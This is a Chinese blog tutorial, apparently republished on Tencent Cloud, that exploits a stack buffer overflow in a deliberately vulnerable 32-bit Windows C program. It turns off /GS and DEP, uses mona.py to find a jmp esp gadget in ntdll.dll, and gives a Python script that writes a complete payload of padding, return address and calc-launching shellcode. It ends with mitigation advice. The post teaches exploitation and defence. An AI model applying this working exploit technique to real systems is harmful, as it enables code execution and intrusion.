专栏首页一个程序员的修炼之路栈上内存溢出漏洞利用之Return Address

栈上内存溢出漏洞利用之Return Address

程序员大多都碰到过栈上内存溢出,最常见的结果是导致程序Crash,有时候也有可能因为覆盖栈上的信息导致程序执行一些意想不到的逻辑,这种情况往往比起Crash更加糟糕。

在阅读本文之前,最好熟悉<<图解函数调用过程>>文章的讲解: 以32位程序为例,讲解了函数调用是如何利用栈的。

局部变量存放在栈上,而当局部变量是一个数组,那么在操作过程中就很容易发现溢出问题,即读/写数据操作了其空间。在大多数系统中,栈默认是由高地址向低地址扩展,并且在小端机器中低位在低地址,如果在写数组的时候超过变量访问的空间,则有可能覆盖上一个栈帧的数据。以下图为例, 在当前栈帧中,存在一个局部变量cszContent数组存放在栈上,此时对cszContentstrcpy之类的操作,不小心超过了32个字节,那么这时候拷贝的内容将会覆盖Return Address (当函数返回时,执行的下一条指令的地址), 以及Arguments

如果对cszContent的溢出操作,覆盖了Arguments你的程序就有可能会造成意想不到的行为。而本文要着重讲解的是黑客利用,栈上内存溢出覆盖Return Address,从而执行黑客想要执行的代码。那么是如何做到的呢?本文将通过栈上局部变量内存溢出注入一段代码,这段注入的代码将被执行并且弹出Windows自带的计算器。

这里也有必要声明一下,本文的所写内容大量参考了Massimiliano Tomassoli所编写的<<Modern Windows Exploit Development>>,有兴趣的可以阅读大神的作品,一定会收获颇多。

工具以及样例代码

  1. Windbg要会一些基本的指令
  2. Windbg安装python扩展pykd, 并且下载mona.py
  3. 样例代码,使用VS2017编译,32位程序。这段程序从test.txt文件中读取内容,并且用printf打印出来。这段代码问题多多,但我们本文主要集中在读取文件内容到cszContent中,文件内容可能长于cszContent的32个字节,导致栈上内存溢出问题。
#define _CRT_SECURE_NO_WARNINGS
#include <cstdio>

int main()
{
  char cszContent[32];

  // Step 1. Open File
  FILE * pFile = fopen("C:\\test\\test.txt", "rb");
  if (!pFile)
    return -1;

  fseek(pFile, 0L, SEEK_END);
  long lReadBytes = ftell(pFile);
  fseek(pFile, 0L, SEEK_SET);

  // Step 2. Read content from File
  fread(cszContent, 1, lReadBytes, pFile);
  cszContent[lReadBytes] = '\0';
  fclose(pFile);

  // Step 3. Output Content
  printf("File Content: %s", cszContent);
  return 0;
}

在Visual Studio工程项目中关闭GS检查,这样让样例程序在函数返回时不会检查栈是否破坏。

链接选项DEP开关开启后,将会保护栈的所属页的属性为不可执行,而我们这里将这个选项关闭,可以使我们在栈上执行代码。

因为在一些老的编译器中默认是不会带这些编译的保护选项的,本文只是为了演示,所以关闭了一些保护选项。

如何注入代码,并且执行?

在程序样例中,只要我们将执行的代码放入在test.txt中,那么就可以注入了,这里的代码不是我们的C/C++代码,而是平台可执行的机器码,而这一段注入的机器码一般称为ShellCode。先不谈如何写这段ShellCode,我们先想想注入后如何执行?

,利用当前ESP寄存器的来跳转到ShellCode,即jmp @ESP。下面详细说说: 第一步 先确定溢出的具体结构,如下图,当输入的文件为我们定制的攻击文件,cszContent产生的溢出。Return Address覆盖新的内容,其指令跳转到ShellCode,执行注入的指令。然而有个问题,程序执行的时候地址不一定是固定不变的,那如何知道我们ShellCode的虚拟地址呢?这个确实不太好获取,得转变一个思路。接着看。

第二步 有一种方法就是Return Address 跳转到一个中间指令jmp @ESP,为什么可以这么做呢?因为当执行ret函数返回的指令的时候,将ESP指向的值存储到EIP, 并且暗含的将ESP+4 ,此时ESP刚好指向ShellCode。那么这里我们便可以将Return Address覆盖为一个jmp @ESP的指令的地址。如下图的步骤所示。

第三步 那么刚刚提到的jump @ESP的指令的地址从哪里获取呢?这个程序也必须要在运行时加载。比如一般的Windows进程会加载ntdll.dllkernel32.dll等,这就要用到mona.py这个工具了,比如我们从ntdll.dll中搜索jump @ESP的指令位置: !py mona jmp -r ESP -m ntdll.dll。那么我们找到了一个0x77b3f973,那么我们只需要覆盖Return Address0x77b3f973

0:000> !py mona jmp -r ESP -m ntdll.dll
Hold on...
[+] Command used:
!py C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\mona.py jmp -r ESP -m ntdll.dll

---------- Mona command started on 2021-05-16 16:20:01 (v2.0, rev 613) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules ntdll.dll
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 1 modules
    - Querying module ntdll.dll
    - Search complete, processing results
[+] Preparing output file 'jmp.txt'
    - (Re)setting logfile jmp.txt
[+] Writing results to jmp.txt
    - Number of pointers of type 'jmp esp' : 2 
    - Number of pointers of type 'call esp' : 1 
    - Number of pointers of type 'push esp # ret ' : 4 
[+] Results : 
0x77b3f973 |   0x77b3f973 (b+0x000ff973)  : jmp esp |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: True, SafeSEH: False, OS: True, v10.0.17134.2145 (ntdll.dll)
......

第四步 在掌握了利用栈溢出攻击的方法。那么如何准确的覆盖Return Address,这个如果有条件可以调试程序得到Return Address相对于cszContent,当然大多数时候都做不到,这个时候其实就是不断尝试的过程了。比如这个例子,我们知道的位置Return Address的栈上地址在cszContent起始地址 + 32(cszContent的大小) + 4 (Child EBP的大小) = cszContent起始地址 + 36的地方。

第五步 构造可以注入的Sample,其中重要的一部分是ShellCode的编写,一般采用汇编直接生成,在Massimiliano Tomassoli的著作<<Modern Windows Exploit Development>>中有详细介绍,可以查看,本文直接使用调用Windows计算器的ShellCode。不过要知道ShellCode是一段直接可以执行的机器码,并且一般具有如下特性:

  • 代码的执行不依赖于具体的位置
  • 尽量不要包含\0字符,因为一般都是利用了strcpy等API的缺陷(容易导致字符串操作内存溢出)如果中间存在\0则会中断后面的注入内容拷贝。 那么根据上述的几个步骤本文的注入Sample可以写为(使用Python脚本生成)。
with open('c:\\test\\test.txt', 'wb') as f: 
    # ret_eip为通过mona.py在ntdll.dll中搜索到的地址`0x77b3f973`
  ret_eip = '\x73\xf9\xb3\x77' 
  # 这一段shellcode来自于Massimiliano Tomassoli的著作<<Modern Windows Exploit Development>>
  shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" + "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+ "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+ "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+ "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+ "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+ "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+ "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+ "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+ "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+ "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+ "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+ "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+ "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+ "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+ "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+ "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+ "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+ "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+ "\x30\x03\xc6\xeb\xdd")
  # 根据计算ret_eip相对于内存溢出的局部变量地址为36个字节, 字符`a`可以是随意非`\0`字符
  sample = 'a' * 36 + ret_eip + shellcode
  f.write(sample)

第六步 执行效果图, 通过注入的代码,执行弹出了计算器。试想下,如果是黑客l利用,就不是这段Shell Code弹出一个计算器这么简单了。

如何防范栈上内存溢出导致的漏洞?

在Windows中现在的VisualStudio的版本中都默认开启了/GS编译选项(笔者没有确认从哪个版本开始有,不过使用者可以自己去确认当前编译项目配置是否开启了/GS编译选项)。其原理是在函数进入一开始设置一个Security Cookie (这个Security Cookie是在程序启动的时候根据进程号,时间戳等信息生成的),然后在函数退出的时候,检查这个Security Cookie则可以知道是否出现了栈上的内存溢出问题,如果出现则终止进程。

最好的方式是,在使用到内存的地方都对大小进行校验,比如读取的内存是否大于目标的内存。另一个就是微软推荐的使用微软安全函数xxxx_s之类的函数,比如strcpy_s, fread_s等。

参考

Massimiliano Tomassoli<<Modern Windows Exploit Development>>

本文分享自微信公众号 - 一个程序员的修炼之路(CoderStudyShare),作者:河边一枝柳

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-05-16

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 栈溢出利用之Return to dl-resolve

    在CTF中一般的栈溢出题目会给出程序对应的libc,这样我们在泄漏一个libc地址之后就能根据偏移量去计算libc的其他地址,比如system、/bin/sh或...

    信安之路
  • Linux pwn入门学习到放弃

    PWN是一个黑客语法的俚语词,自”own”这个字引申出来的,意为玩家在整个游戏对战中处在胜利的优势。本文记录菜鸟学习linux pwn入门的一些过程,详细介绍l...

    FB客服
  • SEED:缓冲区溢出漏洞实验

    前言:本文是基于美国雪城大学的seed实验所做的缓冲区溢出实验,笔者在进行实验的时候参考了网上已有的部分博客,但是发现存在部分细节没有详细解释,导致实验过程中难...

    FB客服
  • 【云原生攻防研究】容器环境相关的内核漏洞缓解技术

    在容器逃逸技术概览一文中我们提到,由于容器与宿主机共享内核,内核漏洞成为容器逃逸的四大原因之一。由于潜在后果的严重性(提升至系统最高权限)和影响的广泛性(一个漏...

    绿盟科技研究通讯
  • 【技术创作101训练营】CTF-PWN方向入门

    PWN 是一个黑客语法的俚语词,是指攻破设备或者系统。发音类似"砰"。对黑客而言,这就是成功实施黑客攻击的声音”砰”的一声,被"黑"的电脑或手机就被你操纵了。

    yichen
  • 通用缓解措施和多维度攻击简介

      DEP(Data Execution Prevention,数据执行保护)这东西很多人都知道,但ASLR(Address space layout rand...

    安恒信息
  • 网络攻防实战技术之——缓冲区溢出篇

    1. 1988年的Morris蠕虫病毒,感染了6000多台机器:利用UNIX服务finger中的缓冲区溢出漏洞来获得访问权限,得到一个shell

    墨文
  • SEED缓冲区溢出实验笔记

    缓冲区溢出实验(Linux 32位) 参考教程与材料:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software...

    ascii0x03
  • Ret2dl_resolve漏洞利用分析

    ret2dlresolve是linux下一种利用linux系统延时绑定(Lazy Binding)机制的一种漏洞利用方法,其主要思想是利用dlruntimere...

    FB客服
  • 0ctf2018 babystack、babyheap、blackhole解析

    0ctf2018 babystack writeup 赛题链接 https://github.com/eternalsakura/ctf_pwn/tree/ma...

    ChaMd5安全团队
  • PWN入门(从零开始)

    栈溢出:栈溢出是指在栈内写入超出长度限制的数据,从而破坏程序运行甚至获得系统控制权的攻击手段。

    鸿鹄实验室
  • 格式化字符串一文入门到实战

    简单介绍一下,这是一种利用格式字符串功能来实现信息泄漏,代码执行和实现DoS攻击的漏洞。随着平台SRC的诞生,还有安全人员越来越多,如今这些漏洞已变得罕见,当使...

    字节脉搏实验室
  • 图解函数调用过程

    函数调用是编程语言都有的概念,也许你听说过函数调用栈,但是大家都知道函数调用是如何完成的吗?我们为什么要了解这个过程:

    河边一枝柳
  • 整形溢出概述

    计算机中整数变量有上下界,如果在算术运算中出现越界,即超出整数类型的最大表示范围,数字便会如表盘上的时针从12到1一般,由一个极大值变为一个极小值或直接归零,此...

    Al1ex
  • (粉丝投稿)64位linux下栈溢出漏洞利用【结尾有巨大彩蛋哦!!】

    64位linux下栈溢出漏洞利用 linux_64与linux_86的区别有:可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。其...

    安恒网络空间安全讲武堂
  • 盘它!PWN栈溢出漏洞。

    在国内的CTF比赛中,PWN题最常见考点就是缓冲区溢出漏洞,而缓冲区溢出代表就是栈溢出漏洞。

    漏斗社区
  • 盘它!PWN栈溢出漏洞。

    在国内的CTF比赛中,PWN题最常见考点就是缓冲区溢出漏洞,而缓冲区溢出代表就是栈溢出漏洞。

    漏斗社区
  • 整形溢出概述

    计算机中整数变量有上下界,如果在算术运算中出现越界,即超出整数类型的最大表示范围,数字便会如表盘上的时针从12到1一般,由一个极大值变为一个极小值或直接归零,此...

    Al1ex
  • ​CS:APP Attack Lab: 缓冲区溢出攻击

    CMU的15-213课程Introduction to Computer Systems (ICS)里面有一个实验叫attack lab,利用缓冲区溢出漏洞改变...

    王录华

扫码关注云+社区

领取腾讯云代金券